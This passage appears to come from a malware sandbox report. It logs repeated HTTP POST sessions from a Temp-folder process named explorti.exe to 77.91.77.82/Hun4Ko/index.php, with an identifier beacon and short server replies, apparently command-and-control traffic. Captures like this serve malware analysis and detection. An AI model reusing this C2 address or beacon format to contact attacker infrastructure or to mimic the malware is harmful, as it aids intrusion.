7	192.168.2.4	49748	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:29.715996027 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:30.411869049 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:30.414556026 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:30.632783890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49749	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:30.800730944 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:31.511404037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:31.512367964 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:31.736614943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:31.856477022 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:32.556969881 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:32.557627916 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:32.777760029 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49751	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:32.887984991 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:33.611556053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:33.614244938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:33.839718103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49752	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:33.950428009 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:34.646260023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:34.647042990 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:34.864181995 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49753	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:34.982281923 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:35.678946972 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:35.679718018 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:35.896425962 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49754	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:36.013134956 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:36.752558947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:36.753325939 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:36.981817961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49755	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:37.091965914 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:37.788587093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:37.790087938 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:38.011006117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49756	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:38.122873068 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:38.830668926 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:38.831722021 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:39.057053089 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49757	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:39.169691086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:39.868165016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:39.869188070 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:40.089268923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49758	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:40.200211048 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:40.965879917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:40.966641903 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:41.193896055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49759	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:41.310662031 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:42.020906925 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:42.023336887 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 3, 2024 23:59:42.245803118 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49760	77.91.77.82	80	7564	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 23:59:42.357181072 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 3, 2024 23:59:43.088737965 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 03 Jul 2024 21:59:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 3, 2024 23:59:43.089425087 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 33 32 43 37 33 42 38 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7FB32C73B85F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
